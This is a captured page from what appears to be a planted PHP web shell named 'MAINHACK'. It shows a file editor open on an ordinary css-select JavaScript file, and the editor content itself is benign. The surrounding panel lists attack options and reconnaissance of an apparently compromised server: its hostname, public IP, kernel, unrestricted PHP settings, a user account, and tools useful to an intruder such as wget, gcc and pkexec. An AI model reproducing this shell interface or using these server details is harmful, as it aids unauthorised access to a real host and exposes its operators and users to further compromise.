[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: general.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.compileGeneralSelector = void 0; var attributes_1 = require("./attributes"); var pseudo_selectors_1 = require("./pseudo-selectors"); /* * All available rules */ function compileGeneralSelector(next, selector, options, context, compileToken) { var adapter = options.adapter, equals = options.equals; switch (selector.type) { case "pseudo-element": throw new Error("Pseudo-elements are not supported by css-select"); case "attribute": return attributes_1.attributeRules[selector.action](next, selector, options); case "pseudo": return (0, pseudo_selectors_1.compilePseudoSelector)(next, selector, options, context, compileToken); // Tags case "tag": return function tag(elem) { return adapter.getName(elem) === selector.name && next(elem); }; // Traversal case "descendant": if (options.cacheResults === false || typeof WeakSet === "undefined") { return function descendant(elem) { var current = elem; while ((current = adapter.getParent(current))) { if (adapter.isTag(current) && next(current)) { return true; } } return false; }; } // @ts-expect-error `ElementNode` is not extending object // eslint-disable-next-line no-case-declarations var isFalseCache_1 = new WeakSet(); return function cachedDescendant(elem) { var current = elem; while ((current = adapter.getParent(current))) { if (!isFalseCache_1.has(current)) { if (adapter.isTag(current) && next(current)) { return true; } isFalseCache_1.add(current); } } return false; }; case "_flexibleDescendant": // Include element itself, only used while querying an array return function flexibleDescendant(elem) { var current = elem; do { if (adapter.isTag(current) && next(current)) return true; } while ((current = adapter.getParent(current))); return false; }; case "parent": return function parent(elem) { return adapter .getChildren(elem) .some(function (elem) { return adapter.isTag(elem) && next(elem); }); }; case "child": return function child(elem) { var parent = adapter.getParent(elem); return parent != null && adapter.isTag(parent) && next(parent); }; case "sibling": return function sibling(elem) { var siblings = adapter.getSiblings(elem); for (var i = 0; i < siblings.length; i++) { var currentSibling = siblings[i]; if (equals(elem, currentSibling)) break; if (adapter.isTag(currentSibling) && next(currentSibling)) { return true; } } return false; }; case "adjacent": return function adjacent(elem) { var siblings = adapter.getSiblings(elem); var lastElement; for (var i = 0; i < siblings.length; i++) { var currentSibling = siblings[i]; if (equals(elem, currentSibling)) break; if (adapter.isTag(currentSibling)) { lastElement = currentSibling; } } return !!lastElement && next(lastElement); }; case "universal": return next; } } exports.compileGeneralSelector = compileGeneralSelector;
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.67 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002